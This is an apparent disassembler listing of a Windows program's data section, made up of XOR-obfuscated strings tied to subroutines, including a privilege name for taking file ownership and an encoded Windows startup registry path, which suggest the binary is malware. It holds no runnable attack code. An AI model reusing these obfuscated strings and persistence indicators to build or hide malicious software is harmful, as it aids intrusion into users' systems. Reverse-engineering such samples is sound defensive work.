byte_5516A7	db 15h			; DATA XREF: sub_445885+84o
		db    0
		db 5, 44h, 61h
aOpvqqjnKuwlsli	db 'opvqQjn`kUwlsli`b`v',0
asc_5516C0	db 0Bh,0		; DATA XREF: sub_445885+6Fo
aZmokdgMcmq	db '(zMOkDG[McMQ',0
byte_5516CF	db 19h			; DATA XREF: sub_445885+5Ao
		dd 0B391D600h, 0B2BF85A2h, 0B8B3B29Fh, 0BFB0BFA2h, 0A397A4B3h
		dd 0A4B9BEA2h, 0AFA2BFh
dword_5516EC	dd 14470019h, 22143322h, 2E353224h, 22033E33h, 2E352434h
					; DATA XREF: sub_445885:loc_4458CAo
		dd 35283337h, 2B242603h
		db 0
byte_551709	db 0Ch,	0, 0CDh		; DATA XREF: sub_445885+2Eo
		dd 0ACBBA9ACh, 0FFFEA4BDh, 0A1A1A9E3h
		db 0
byte_551719	db 0Ch,	0, 0EEh		; DATA XREF: sub_445885+1o
aPkspuzKvv	db 'Š˜‡İÜÀŠ‚‚',0
byte_551729	db 1, 0, 14h		; DATA XREF: sub_44496E+DB6o
		db 68h,	0
word_55172E	dw 2			; DATA XREF: sub_44496E+D8Ao
		dd 0ADF1D1h
dword_551734	dd 0C6FC0001h			db 0
byte_551739	db 4, 0, 1Bh		; DATA XREF: sub_44496E:loc_445621o
aN		db ';>n!',0
byte_551741	db 1, 0, 9		; DATA XREF: sub_44496E+746o
		db 75h,	0
word_551746	dw 0Ah			; DATA XREF: sub_44496E+4FCo
		dd 770D1131h, 0B7C637Eh, 0F4414h
dword_551754	dd 0D4F4000Bh, 0B5A6B2C8h, 0D1CEB1B9h		db 81h,	0CAh, 0
byte_551763	db 0Ah			; DATA XREF: sub_44496E+303o
		dd 0BBA78700h, 0CAC6D5C1h, 0B9CABDC2h, 0
dword_551774	dd 5, 7C000Ah, 66006Bh,	6F007Fh, 0dword_551788	dd 4, 52003Ch, 51005Dh,	59hdword_551798	dd 0E2E0002h			db 0Eh,	0
word_55179E	dw 1			; DATA XREF: sub_4447CD:loc_4448C9o
		db 0BBh, 94h, 0
byte_5517A3	db 12h			; DATA XREF: sub_4447CD:loc_444818o
		dd 0DEC0AD00h, 0DEC1D9CEh, 0CCD9DEF2h, 0CFDED8D9h, 9F9EDFCCh
		db 0
byte_5517B9	db 0Eh,	0, 0FEh		; DATA XREF: sub_4447CD+10o
aKqIcrSiTqnn	db 'ªŸœ©—𑉽’Ÿ',0
byte_5517CB	db 3			; DATA XREF: sub_443F06+32Eo
		dd 71251E00h
		db 23h,	0
word_5517D2	dw 4			; DATA XREF: sub_443F06:loc_4441A9o
		dd 716D251Eh
		db 23h,	0
word_5517DA	dw 4			; DATA XREF: sub_443F06:loc_444170o
		dd 0C198C7FCh
		db 0D6h, 0
word_5517E2	dw 4			; DATA XREF: sub_443F06+224o
		dd 0CF96C9F2h, 0D3h
dword_5517EC	dd 3, 590010h, 57005Dh		db 2 dup(0)
word_5517FA	dw 1			; DATA XREF: sub_443DB2+46o
		db 96h,	0CAh, 0
byte_5517FF	db 0Fh			; DATA XREF: sub_443843+13Eo
		dd 7B2D0800h, 646E6C54h, 3B727D2Dh, 646C263Ah
		db 64h,	0
word_551812	dw 10h			; DATA XREF: sub_443843+10Do
		dd 98B7E1C4h, 0E1B6B7B3h, 0F7B0BEB1h, 0A8A0EAF6h
		db 0A8h, 0
word_551826	dw 0Bh			; DATA XREF: sub_443843+A2o
		dd 8EA1F7D2h, 0A7F7A1F7h, 0A1BEBCFCh
		db 0
byte_551835	db 0Fh,	0, 0B6h		; DATA XREF: sub_443843+74o
aUUEds		db '“ÅêİĞ“ÃÚÌ…„˜ÒÚÚ',0
dword_551848	dd 8BAE0004h, 0F69C80hdword_551850	dd 0CDE80001h			db 0
byte_551855	db 2, 0, 0FAh		; DATA XREF: sub_443795:loc_4437DCo
		db 0DFh, 99h, 0
byte_55185B	db 9			; DATA XREF: sub_4432D8+1E7o
		dd 0CCEEBE00h, 0DDCBDAD1h, 0DAF7CAh
unk_551868	db  2Ch	; ,		; DATA XREF: sub_4432D8+1D7o
		align 2
		dw 5506h
aI@rqgtczkoetiu	db 'I@RQGTCZKoetiui`rZQohbiqu&HRZEsttchrPctuoih',0
asc_551898	db 9,0			; DATA XREF: sub_4432D8+179o
		dw 2F7Fh
		dd 0A1B100Dh, 1B360B1Ch
		db 0
byte_5518A5	db 29h,	0, 1		; DATA XREF: sub_4432D8+169o
aRnguv@sdLhbsnr	db 'RNGUV@SD]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno',0
word_5518D2	dw 1			; DATA XREF: sub_4432D8+14Do
		db 0A4h, 8Ah, 0
byte_5518D7	db 4			; DATA XREF: sub_4432D8+EAo
		dd 0E4ECC100h
		db 99h,	0EFh, 0
byte_5518DF	db 3			; DATA XREF: sub_4432D8+9Do
		dd 6B325100h
		db 0Dh,	0
word_5518E6	dw 8			; DATA XREF: sub_4432D8:loc_44333Do
		dd 45F0F2Ah, 0F045F0Fh
		db 5Fh,	0
word_5518F2	dw 2			; DATA XREF: sub_4432D8+50o
		dd 0E7FDB3h
dword_5518F8	dd 0CAF30002h			db 0ABh, 0
word_5518FE	dw 0Bh			; DATA XREF: sub_443272:loc_4432B1o
aKzmiMngfI	db '(kZMI\MnGF\i',0
asc_55190D	db 9,0			; DATA XREF: sub_443272+28o
aVgq		db '±ÖÕØ‚ƒŸÕİİ',0
asc_55191A	db 9,0			; DATA XREF: sub_443272+1o
aS47A7??	db 'S47:`a}7??',0
asc_551927	db 0Dh,0		; DATA XREF: sub_442FB0:loc_44318Fo
		db 12h,	61h, 6Bh
		dd 7F776661h, 747D6062h, 777E7Bh
dword_551938	dd 187D0006h, 1E140B0Fh		db 18h,	0
word_551942	dw 1			; DATA XREF: sub_442FB0+105o
		db 0Eh,	2Ah, 0
byte_551947	db 6			; DATA XREF: sub_442FB0:loc_443055o
		dd 414B1800h, 555D4C4Bh
		db 0
byte_551951	db 8, 0, 0Fh		; DATA XREF: sub_442FB0:loc_44300Fo
aJYflj		db '/\J]YFLJ',0
a@		db '@',0                ; DATA XREF: sub_442E73:loc_442EABo
		db 18h
		db  59h	; Y
		db 5Ah,	5Bh, 5Ch
		db  5Dh	; ]
		db 5Eh,	5Fh, 50h
		db  51h	; Q
		db 52h,	53h, 54h
		db  55h	; U
		db 56h,	57h, 48h
		db  49h	; I
		db 4Ah,	4Bh, 4Ch
		db  4Dh	; M
		db 4Eh,	4Fh, 40h
		db  41h	; A
		db 42h,	79h, 7Ah
		db  7Bh	; {
		db 7Ch,	7Dh, 7Eh
		db  7Fh	; 
aPqrstuvwhijklm	db 'pqrstuvwhijklmno`ab()*+,-./ !37',0
		align 4
asc_5519A4:				; DATA XREF: sub_442B82+28Fo
		dw 9
		unicode	0, <>,0
aI		db '¨',0
		db 'Ê',0
		db 'Í',0
		db 'Î',0
		db 'Ç',0
		db 'Ú',0
		db 'Í',0
aA		db 'í',0
		db 'Æ',0
		db 'Ì',0
		db 2 dup(0)
word_5519BE	dw 20h			; DATA XREF: sub_442B82+1F9o
		dd 70237550h, 6D332223h, 20242438h, 757F7F6Ah, 6D386F23h
		dd 26762375h, 7625756Dh, 23756D20h
		db 6Eh,	0
word_5519E2	dw 43h			; DATA XREF: sub_442B82+16Eo
		dd 21722401h, 3C627372h, 71757569h, 242E2E3Bh, 3C693E72h
		dd 68277224h, 2474243Ch, 3C6E2772h, 67277424h, 2762243Ch
		dd 243C6872h, 6E722772h, 2774243Ch, 243C6D75h, 3C772774h
		dd 65277424h, 3F72243Ch
		db 0
byte_551A29	db 10h,	0, 0BDh		; DATA XREF: sub_442B82+F0o
aSAAsTvAsG	db '˜ÎÎÏŞ€˜Î’‚Û€˜Şƒ',0
byte_551A3D	db 1Eh,	0, 49h		; DATA XREF: sub_442B82+91o
aU_iTyi_TyiTy	db 'u $.i> -=!tyi!, .!=tyi+&;-,;ty',0
asc_551A5F	db 7,0			; DATA XREF: sub_442B82+60o
		db 0C7h, 0FBh, 0A5h
		dd 0A5E8FBF9h
		db 0F9h, 0
word_551A6A	dw 0Bh			; DATA XREF: sub_4428C5+224o
		dd 1D0B236Eh, 0B090F1Dh, 2F16012Ch
		db 0
byte_551A79	db 0Dh,	0, 74h		; DATA XREF: sub_4428C5+20Fo
		dd 71130h, 230D1B06h, 1B101A1Dh
		db 3, 0
word_551A8A	dw 0Eh			; DATA XREF: sub_4428C5+1FAo
aAZdDzLzt	db 'Ó€¶§„º½·¼¤‡¶«§’',0
dword_551A9C	dd 0B4E0012h, 0A233B20h, 3A253D2Bh, 27193E21h, 39212A20h
					; DATA XREF: sub_4428C5+1E5o
asc_551AB0:				; DATA XREF: sub_4428C5+1D0o
		unicode	0, <=>
		dw 0Ah
		dw 0ACE1h
aOcdIpeoc	db '—„¶ˆ…–',0
dword_551AC0	dd 54100010h, 71606379h, 5D787364h, 71636375h, 517577h
					; DATA XREF: sub_4428C5+1BBo
dword_551AD4	dd 81C6000Bh, 0A38BB2A3h, 0A1A7B5B5h		db 0A3h, 87h, 0
byte_551AE3	db 9			; DATA XREF: sub_4428C5+191o
		dd 77551200h, 7C7B4566h, 657D76h
dword_551AF0	dd 0B0F7000Dh, 9EA08392h, 80989399h, 839492A5h		db 0
byte_551B01	db 0Fh,	0, 0E6h		; DATA XREF: sub_4428C5+167o
aEzkkPivisFiez	db '¥‡ŠŠ±ˆ‚‰‘¶”‰…§',0
dword_551B14	dd 88CF000Eh, 0A698BBAAh, 0B8A0ABA1h, 0BBB7AA9Bh
					; DATA XREF: sub_4428C5+152o
		db 8Eh,	0
word_551B26	dw 0Dh			; DATA XREF: sub_4428C5+13Do
		dd 0F1E3C7Bh, 81A1738h,	161A3508h
		db 1Eh,	3Ah, 0
byte_551B37	db 0Eh			; DATA XREF: sub_4428C5+128o
		dd 4C7A2900h, 47407E5Dh, 655E464Dh, 684E4746h
		db 0
byte_551B49	db 0Ch,	0, 0EAh		; DATA XREF: sub_4428C5+113o
aPdozpsslnpl	db '¹„§™™‹«',0
byte_551B59	db 10h,	0, 0D3h		; DATA XREF: sub_4428C5+FEo
aZbAZUAa	db '‡¡²½ ¿²§¶¶  ²´¶',0
asc_551B6D	db 8,0			; DATA XREF: sub_4428C5+E9o
aXAsMiac	db 'å¶€‘±Œˆ€—',0
asc_551B79	db 8,0			; DATA XREF: sub_4428C5+D4o
aMJxqKm		db '>m[JxQ]KM',0
byte_551B85	db 0Eh,	0, 0F8h		; DATA XREF: sub_4428C5+BFo
aKaqslmakFsll	db 'ªŸ‘‹ŒŠ»”™‹‹¹',0
asc_551B97	db 0Ah,0		; DATA XREF: sub_4428C5+AAo
		db 80h,	0D3h, 0E8h
		dd 0E9D7F7EFh, 0F7EFE4EEh
		db 0
byte_551BA5	db 0Dh,	0, 15h		; DATA XREF: sub_4428C5+95o
aSQbQzbpmt	db 'S|{qB|{qzbPmT',0
word_551BB6	dw 0Fh			; DATA XREF: sub_4428C5+80o
		dd 35221350h, 7352431h,	3F343E39h, 11281527h
		db 0
byte_551BC9	db 13h,	0, 45h		; DATA XREF: sub_4428C5+6Bo
		dd 3312002h, 2220372Ah,	2B302A37h, 2B2C1221h, 322A21h
dword_551BE0	dd 0B7F0000Eh, 99A78495h, 879F949Eh, 979E9FBCh		db 0B1h, 0
word_551BF2	dw 0Eh			; DATA XREF: sub_4428C5:loc_442906o
		dd 9596B7F3h, 979D9AA4h, 81A3849Ch, 0B2909Ch
dword_551C04	dd 90E5000Ah, 0D6978096h, 8981CBD7h		db 89h,	0
word_551C12	dw 0Ah			; DATA XREF: sub_4428C5+1o
		dd 0BFA9AFDAh, 0F4E8E9A8h, 0B6B6BEh
dword_551C20	dd 0CA89000Dh, 0FAE8DDE6h, 0E4ECC4E2h, 0ECECFBCFh
					; DATA XREF: sub_4427D3+D1o
		db 0
byte_551C31	db 0Bh,	0, 0C0h		; DATA XREF: sub_4427D3+B5o
aIEBmzxid	db '‰³…±µ¡¬‡•‰„',0
dword_551C40	dd 2410010h, 2433022Eh,	8243520h, 2035322Fh, 24222Fh
					; DATA XREF: sub_4427D3+99o
dword_551C54	dd 0DA99000Fh, 0DDD0CAD5h, 0F4F6EBDFh, 0F0EBEDCAh
					; DATA XREF: sub_4427D3+7Do
		db 0F7h, 0FEh, 0
byte_551C67	db 0Ch			; DATA XREF: sub_4427D3+61o
		dd 19357600h, 21F183Fh,	1F1A171Fh
		db 0Ch,	13h, 0
byte_551C77	db 0Eh			; DATA XREF: sub_4427D3:loc_442818o
		dd 3D115200h, 3C3B3C07h, 333B263Bh, 37283B3Eh
		db 0
byte_551C89	db 9, 0, 7Bh		; DATA XREF: sub_4427D3+2Eo
		dd 481E1714h, 171F5549h
		db 17h,	0
word_551C96	dw 9			; DATA XREF: sub_4427D3+1o
		dd 999093FCh, 98D2CECFh
		db 2 dup(90h), 0
byte_551CA3	db 0			; DATA XREF: sub_44250C:loc_442768o
		db 0, 5Eh, 0
byte_551CA7	db 1			; DATA XREF: sub_44250C:loc_4426F7o
		dd 0D6AE00h
dword_551CAC	dd 124E0001h			db 0
byte_551CB1	db 1, 0, 54h		; DATA XREF: sub_441D1A:loc_442267o
		db 74h,	0
word_551CB6	dw 0			; DATA XREF: sub_441D1A+504o
		db 0F1h, 0
word_551CBA	dw 13h			; DATA XREF: sub_441D1A+4D2o
aTMgaozCnGccknr	db 'â·Œƒ€‡Â–ƒ—–Š‹˜‡',0
a5		db '5',0                ; DATA XREF: sub_441D1A+4C2o
		db 0DAh
		dd 0B8BBB48Fh, 0AEFABFB6h, 0AFBBFAB5h, 0A8B5B2AEh, 0FABFA0B3h
		dd 9493FAF7h, 88889599h, 0FA8E999Fh, 0F494938Ah, 0BFB68AFAh
		dd 0F6BFA9BBh, 0A8B5B9FAh, 0AEB9BFA8h
		db 0F4h, 0
word_551D0A	dw 1			; DATA XREF: sub_441D1A:loc_442028o
		db 0CAh, 0E7h, 0
byte_551D0F	db 1Eh			; DATA XREF: sub_441D1A+2B4o
		dd 1E227200h, 17011317h, 1701525Eh, 611171Eh, 20A3752h
		dd 613001Bh, 521C1D1Bh,	13172Bh
		db 0
byte_551D31	db 1, 0, 3Dh		; DATA XREF: sub_441D1A:loc_441F59o
		db 1Dh,	0
word_551D36	dw 1Fh			; DATA XREF: sub_441D1A+1E3o
aUpjvJquJpjaUjK	db 'Ó¯¦¢°¦ïã°¦¯¦ ·ã†»³ª±¢·ª¬­ã¬­·«',0
byte_551D59	db 12h,	0, 0D0h		; DATA XREF: sub_441B17+5Ao
aGSgcAvDD	db 'ƒ¶³™£–¹¼µ€¢¿¤µ³¤µ´',0
asc_551D6F	db 7,0			; DATA XREF: sub_441B17+31o
		db 3Dh,	4Eh, 5Bh
		dd 5159135Eh
		db 51h,	0
word_551D7A	dw 7			; DATA XREF: sub_441B17+1o
		dd 55504536h, 5A5A5218h
		db 0
byte_551D85	db 1, 0, 0C0h		; DATA XREF: sub_44181A+205o
		db 0BCh, 0
word_551D8A	dw 5Ah			; DATA XREF: sub_44181A+D5o
		dd 0D3D3F1B0h, 0C4DEC5DFh, 0DDD1FE90h, 0FFE093D5h, 0E39083E0h
		dd 0D5C6C2D5h, 0FDE393C2h, 0E390E0E4h, 0D5C6C2D5h, 0FDE393C2h
		dd 0F490E0E4h, 0DCC0C3D9h, 0FE90C9D1h, 93D5DDD1h, 0E0E4FDE3h
		dd 0D1DDF590h, 0F190DCD9h, 0D5C2D4D4h, 0E093C3C3h, 9083E0FFh
		dd 0C2D5C3E5h, 0DDD1FE90h, 9393D5h
dword_551DE8	dd 1B4B000Eh, 6B781B04h, 38382A1Bh, 2F39243Ch		db 79h,	0
word_551DFA	dw 39h			; DATA XREF: sub_44181A:loc_441838o
		dd 646D7122h, 70637576h, 4B6F7E67h, 514D5041h, 7E56444Dh
		dd 47564C6Bh, 56474C50h, 41416302h, 564C574Dh, 4C436F02h
		dd 50474543h, 4141637Eh, 564C574Dh, 12077E51h
		db 1Ah,	5Ah, 0
aSetakeownershi	db 'SeTakeOwnershipPrivilege',0 ; DATA XREF: sub_440CD2+1C2o
dword_551E50	dd 0B89D0005h, 0C1EEB8EEh		db 0
byte_551E59	db 5, 0, 0FBh		; DATA XREF: sub_44077A+1F2o
aIIz		db 'ވވ§',0
word_551E62	dw 3			; DATA XREF: sub_44077A+C9o
		dd 550C5A7Fh
		db 0
byte_551E69	db 4, 0, 4		; DATA XREF: sub_44077A+6Eo
aGX		db '!g>X',0
byte_551E71	db 1, 0, 0E0h		; DATA XREF: sub_440364+3A5o
		db 9Ch,	0
word_551E76	dw 1			; DATA XREF: sub_440364+34Bo
		db 0E6h, 9Ah, 0
byte_551E7B	db 19h			; DATA XREF: sub_440364+2EEo
		dd 0C5C28B00h, 0C4C8DFCEh, 0D8ABC6C6h, 0EEFDF9EEh, 0EADBABF9h
		dd 0E4FCF8F8h, 0F8EFF9h
dword_551E98	dd 0F78B0001h			db 0
byte_551E9D	db 5, 0, 0ADh		; DATA XREF: sub_43FB03+2CCo
		dd 88F1DE88h
		db 0DEh, 0
word_551EA6	dw 5			; DATA XREF: sub_43FB03+25Eo
aTqQ		db 'tQ',7,'(Q',7,0
byte_551EAF	db 4			; DATA XREF: sub_43FB03+17o
		dd 81D7F200h
		db 0AEh, 0D8h, 0
byte_551EB7	db 1			; DATA XREF: sub_43F41A+284o
		dd 654400h
dword_551EBC	dd 0DBF10001h			db 0
byte_551EC1	db 4, 0, 2Eh		; DATA XREF: sub_43F41A+1F3o
a___		db '*...',0
byte_551EC9	db 1, 0, 2Ch		; DATA XREF: sub_43F090+333o
		db 0Fh,	0
word_551ECE	dw 1			; DATA XREF: sub_43F090+2DEo
		db 6Fh,	4Ch, 0
byte_551ED3	db 1			; DATA XREF: sub_43F090+25Eo
		dd 0E9CA00h
dword_551ED8	dd 0A3CB0007h, 0F1BBBFBFh		db 2 dup(0E4h),	0
byte_551EE3	db 1			; DATA XREF: sub_43F090+1F2o
		dd 200300h
dword_551EE8	dd 335B0007h, 612B2F2Fh		db 2 dup(74h), 0
byte_551EF3	db 0Bh			; DATA XREF: sub_43F090+10o
		dd 8289EA04h, 8F82898Fh, 8F989A84h, 83C49999h, 0C9858C84h
		dd 8E86858Dh, 8686859Ah, 878589C4h, 9E8483C9h, 8E86858Dh
		dd 878589C4h, 9D9D9DC9h, 988889C4h, 0C99F98C4h,	0C49D9D9Dh
		dd 82899C8Bh, 0C481898Fh, 99C99F98h, 8798859Eh,	0C4938B9Ah
		dd 0C9878589h, 9E9F9889h, 84C49A85h, 8F84C99Fh,	8D8FC49Dh
		dd 8589C48Dh, 9D9DC987h, 859AC49Dh, 99839084h, 99878B89h
		dd 878589C4h, 899C8BC9h, 81898F82h, 0C99F98C4h,	82899C8Bh
		dd 0C481898Fh, 0C9908388h, 0C49D9D9Dh, 84838888h, 0C99F98C4h
		dd 9E998B87h, 92C7988Fh, 878589C4h, 9D9D9DC9h, 84859AC4h
		dd 89998390h, 0C499878Bh, 0C9878589h, 0C49D9D9Dh, 81848B88h
		dd 848B88C7h, 0C78F9F9Bh, 8B848B89h, 89C48B8Eh,	9D9DC98Bh
		dd 859AC49Dh, 99839084h, 99878B89h, 878589C4h, 9D9D9DC9h
		dd 858788C4h, 878589C4h, 938B9AC9h, 0C4868B9Ah,	0C9878589h
		dd 938B888Fh, 878589C4h, 9D9D9DC9h, 848B88C4h, 878C8581h
		dd 989F8E8Bh, 8589C48Bh, 9D9DC987h, 8389C49Dh, 89C48988h
		dd 9DC98785h, 9CC49D9Dh, 98C4889Eh, 9D9DC99Fh, 9D89C49Dh
		dd 81848B88h, 878589C4h, 86858DC9h, 86859A8Eh, 8589C486h
		dd 9D9DC987h, 859AC49Dh, 99839084h, 99878B89h, 878589C4h
		dd 9D9D9DC9h, 888787C4h, 0C481848Bh, 9DC99F98h,	9FC49D9Dh
		dd 998B8384h, 879F989Eh, 0C99F98C4h, 8E86858Dh,	8686859Ah
		dd 878589C4h, 9D9D9DC9h, 84859AC4h, 89998390h, 0C499878Bh
		dd 0C9878589h, 0C49D9D9Dh, 8698859Dh, 848B888Eh, 9885C481h
		dd 9D9DC98Dh, 8B89C49Dh, 8E838E84h, 9C8F9E8Bh, 8C83988Fh
		dd 0C4988F83h, 0C9878589h, 0C49D9D9Dh, 9084859Ah, 8B899983h
		dd 89C49987h, 9DC98785h, 88C49D9Dh, 8581848Bh, 8E84838Ch
		dd 89C48B83h, 9DC98785h, 83C49D9Dh, 848B8889h, 9F98C481h
		dd 899C8BC9h, 81898F82h, 0C99F98C4h, 0C49D9D9Dh, 8E848F9Ch
		dd 84999885h, 0C48F878Bh, 9DC9999Dh, 81C49D9Dh,	98C48887h
		dd 9D9DC99Fh, 8F84C49Dh, 8D8B879Eh, 8F9E9983h, 8589C498h
		dd 8B81C987h, 908B819Ch, 9E848F89h, 89C4988Fh, 9DC98785h
		dd 9CC49D9Dh, 858E848Fh, 8B849998h, 9DC48F87h, 9387C999h
		dd 83868485h, 898B8F84h, 849F8589h, 0C4D8999Eh,	8F88888Bh
		dd 9E8B8493h, 8B848583h, 8589C486h, 0C9819FC4h,	83868485h
		dd 88C78F84h, 8483999Fh, 0C499998Fh, 93858686h,	999E998Eh
		dd 8589C488h, 0C9819FC4h, 0C49D9D9Dh, 8B86868Bh, 8B888B82h
		dd 848B888Eh, 8589C481h, 9D9DC987h, 8898C49Dh, 8589C489h
		dd 9D9DC987h, 859AC49Dh, 99839084h, 99878B89h, 878589C4h
		dd 9D9D9DC9h, 9982C4DBh, 89C48988h, 8D81C98Bh, 868F9888h
		dd 8689928Bh, 98C4889Fh, 8B93C99Fh, 0C4858887h,	0C9908388h
		dd 858E8381h, 8B88C799h, 98C48184h, 9D9DC99Fh, 8886C49Dh
		dd 98838E89h, 0C49E898Fh, 989F8B86h, 839E848Fh,	8B88848Bh
		dd 89C48184h, 8B88C98Bh, 8B868998h, 89C49993h, 9EC98785h
		dd 868B9E85h, 988C9386h, 8B888F8Fh, 84838184h, 8589C48Dh
		dd 9D9DC987h, 8884C49Dh, 8B89C489h, 88D9DFC9h, 0C481848Bh
		dd 0C9878589h, 0C49D9D9Dh, 8E848F9Ch, 84999885h, 0C48F878Bh
		dd 9DC9849Ch, 88C49D9Dh, 9EC788D8h, 9E999F98h, 878589C4h
		dd 9D9D9DC9h, 848F9CC4h, 9998858Eh, 8F878B84h, 0C9999DC4h
		dd 848F9A85h, 81848B88h, 878589C4h, 9E8B9EC9h, 8C8F84C7h
		dd 848B889Eh, 9F98C481h, 898F99C9h, 0C4888B86h,	99C99F98h
		dd 989F898Fh, 86939E83h, 98C4888Bh, 8F8CC99Fh, 988B829Eh
		dd 8388C48Eh, 988DC990h, 9A928485h, 8F848B86h, 98C4999Eh
		dd 8F9CC99Fh, 98858E84h, 878B8499h, 849CC48Fh
		db 0C9h, 0
word_552302	dw 4			; DATA XREF: sub_43ECB6+70o
		dd 474F5A7Fh
		db 27h,	0
word_55230A	dw 12h			; DATA XREF: sub_43EBF8:loc_43EC37o
		dd 767D4C0Fh, 615A7B7Fh, 7B607D7Fh, 4B7B6C6Ah, 6E7B6Eh
dword_552320	dd 82E1000Bh, 95919893h, 85CFD3D2h		db 2 dup(8Dh), 0
byte_55232F	db 0Bh			; DATA XREF: sub_43EBF8+1o
		dd 7C6D0E00h, 3D7A7E77h, 626A203Ch
		db 62h,	0
word_55233E	dw 13h			; DATA XREF: sub_43E7A3+3F0o
		dd 8193B7Ch, 0E0E093Fh,	2C081219h, 191F130Eh, 18350F0Fh
		db 0
byte_552355	db 9, 0, 0F7h		; DATA XREF: sub_43E7A3+3DBo
aAeugtUit	db ' …ƒ’±›’',0
word_552362	dw 11h			; DATA XREF: sub_43E7A3+3C6o
		dd 0F0E1C384h, 0EFF7EDC0h, 0E1E1F6C2h, 0E7E5F4D7h
		db 0E1h, 0C5h, 0
byte_552377	db 16h			; DATA XREF: sub_43E7A3+3B1o
		dd 0B694D300h, 0A5BD96A7h, 0BDBCA1BAh, 0A7BDB6BEh, 0BAA1A780h
		dd 92A0B4BDh
		db 0
byte_552391	db 13h,	0, 55h		; DATA XREF: sub_43E7A3+39Co
		dd 6213012h, 3021262Ch,	273C1138h, 3A213630h, 142C27h
dword_5523A8	dd 4D0A000Ch, 6F5E7E6Fh, 6B5A7A67h, 4B627Ehdword_5523B8	dd 0E9850008h, 0E9F7F1F6h, 0D2EBE0hdword_5523C4	dd 0FBBC000Eh, 0D3F0C8D9h, 0D9D0DDDFh, 0D3DAD2F5h
					; DATA XREF: sub_43E7A3+35Do
		db 0FDh, 0
word_5523D6	dw 0Dh			; DATA XREF: sub_43E7A3+348o
aKiIDIsIm	db 'ÍŠ¨¹‰¿¤»¨™´½¨Œ',0
asc_5523E7	db 0Bh,0		; DATA XREF: sub_43E7A3+333o
		db 86h,	0C5h, 0EAh
		dd 0CEE3F5E9h, 0EAE2E8E7h
		db 0E3h, 0
word_5523F6	dw 0Eh			; DATA XREF: sub_43E7A3+31Eo
		dd 0D2C3F5A6h, 0C3CACFE0h, 0C8CFC9F6h, 0D4C3D2h
dword_552408	dd 6D21000Ch, 6D45404Eh, 40534348h, 605853hdword_552418	dd 6F3D000Dh, 58675149h, 5870524Fh, 444F5250h		db 0
byte_552429	db 7, 0, 37h		; DATA XREF: sub_43E7A3+2DFo
aYrort		db '`^YrORT',0
asc_552434:				; DATA XREF: sub_43E7A3+2CAo
		dw 0Ah
		dw 0FBBEh
		db 'Æ×ÊêÖÌÛßÚ',0
word_552442	dw 14h			; DATA XREF: sub_43E7A3+2B5o
		dd 23391E57h, 383B2532h, 33323C34h, 2534391Eh, 39323A32h
		db 23h,	0
word_55245A	dw 0Dh			; DATA XREF: sub_43E7A3+2A0o
a?yvqQzgkyvsz	db '?yVQ[qZGKyVSZ~',0
asc_55246B	db 0Dh,0		; DATA XREF: sub_43E7A3+28Bo
aKiUIasdai	db 'ÍŠ¨¹´¾¹¨ ™¤ ¨',0
dword_55247C	dd 581F000Ch, 764B6B7Ah, 705C747Ch, 6B716Ahdword_55248C	dd 8ACD0010h, 0A280B9A8h, 0A8A1B8A9h, 0A9A3AC85h, 8CA8A1h
					; DATA XREF: sub_43E7A3+261o
dword_5524A0	dd 7127000Bh, 5253554Eh, 55614B46h		db 2 dup(42h), 0
byte_5524AF	db 0Bh			; DATA XREF: sub_43E7A3+237o
		dd 11206300h, 6170206h,	60F0A25h
asc_5524BC:				; DATA XREF: sub_43E7A3+222o
		unicode	0, <">
		dw 0Ah
		dw 0B2FDh
aNsuIise	db '˜“°ˆ‰˜…¼',0
asc_5524CC:				; DATA XREF: sub_43E7A3+20Do
		dw 0Bh
		dw 0C384h
		dd 0EDC2F0E1h, 0EDD7E1E8h
		db 0FEh, 0E1h, 0
byte_5524DB	db 0Bh			; DATA XREF: sub_43E7A3+1F8o
		dd 497D3B00h, 52775E5Eh, 495A4959h
		db 42h,	0
word_5524EA	dw 0Ch			; DATA XREF: sub_43E7A3+1E3o
		dd 8398A7F1h, 9D908485h, 9E9D9DB0h
		db 92h,	0
word_5524FA	dw 10h			; DATA XREF: sub_43E7A3+1CEo
aNlJfdyLGhdlh	db ')nL]jFDY\]L[gHDLh',0
asc_55250E	db 0Bh,0		; DATA XREF: sub_43E7A3+1B9o
a6yfsxfdyusee	db '6yFSXfDYUSEE',0
byte_55251D	db 17h,	0, 0ECh		; DATA XREF: sub_43E7A3+1A4o
aKuiiivEugvbivs	db 'ª‰‰©‚š…ƒ‚‰‚˜¿˜…‚‹Ÿ­',0
dword_552538	dd 0FDBB000Eh, 0FDDFD5D2h, 0CFC8C9D2h, 0DED7D2FDh
					; DATA XREF: sub_43E7A3+18Fo
		db 0FAh, 0
word_55254A	dw 0Ch			; DATA XREF: sub_43E7A3+17Ao
		dd 0D8CFFEBDh, 0F0D8C9DCh, 0C5D8C9C8h
		db 0FCh, 0
word_55255A	dw 14h			; DATA XREF: sub_43E7A3+165o
		dd 0C5DFF8B1h, 0DEDDC3D4h, 0D5D4DAD2h, 0C3D2D4F5h, 0DFD4DCD4h
		db 0C5h, 0
word_552572	dw 14h			; DATA XREF: sub_43E7A3+150o
		dd 989DB2F4h, 999DA091h, 0A79BA091h, 9180878Dh,	999DA099h
		db 91h,	0
word_55258A	dw 0Dh			; DATA XREF: sub_43E7A3+13Bo
		dd 0FFEECC8Bh, 0F8F9EEDDh, 0CEE5E4E2h
		db 0F3h, 0CAh, 0
byte_55259B	db 9			; DATA XREF: sub_43E7A3+126o
		dd 2F034000h, 29063930h, 1252Ch
dword_5525A8	dd 0D89F0015h, 0F0C9EBFAh, 0FAF2EAF3h, 0F0F9F1D6h, 0EBFEF2EDh
					; DATA XREF: sub_43E7A3+111o
		dd 0DEF1F0F6h
		db 0
byte_5525C1	db 8, 0, 45h		; DATA XREF: sub_43E7A3+FCo
		dd 21242017h, 20292C03h
		db 0
byte_5525CD	db 13h,	0, 90h		; DATA XREF: sub_43E7A3+E7o
		dd 0F5F4F9C7h, 0E2F1F8D3h, 0E5DDFFC4h, 0D2F9E4FCh, 0F5E4E9h
dword_5525E4	dd 4D0E000Fh, 6F7E6361h, 67486B7Ch, 675A6B62h		db 63h,	6Bh, 0
byte_5525F7	db 11h			; DATA XREF: sub_43E7A3+BDo
		dd 34165100h, 38291425h, 353E1225h, 23390534h, 353034h
dword_55260C	dd 460B0013h, 627F677Eh, 6E7F7249h, 625C645Fh, 63486E6Fh
					; DATA XREF: sub_43E7A3+A8o
		db 6Ah,	79h, 0
byte_552623	db 9			; DATA XREF: sub_43E7A3+93o
		dd 9EBDF100h, 0B79D9092h, 949483h
dword_552630	dd 0D88F0013h, 0C9FBE6EEh, 0E6DCFDE0h, 0EAE3E8E1h, 0EAE5EDC0h
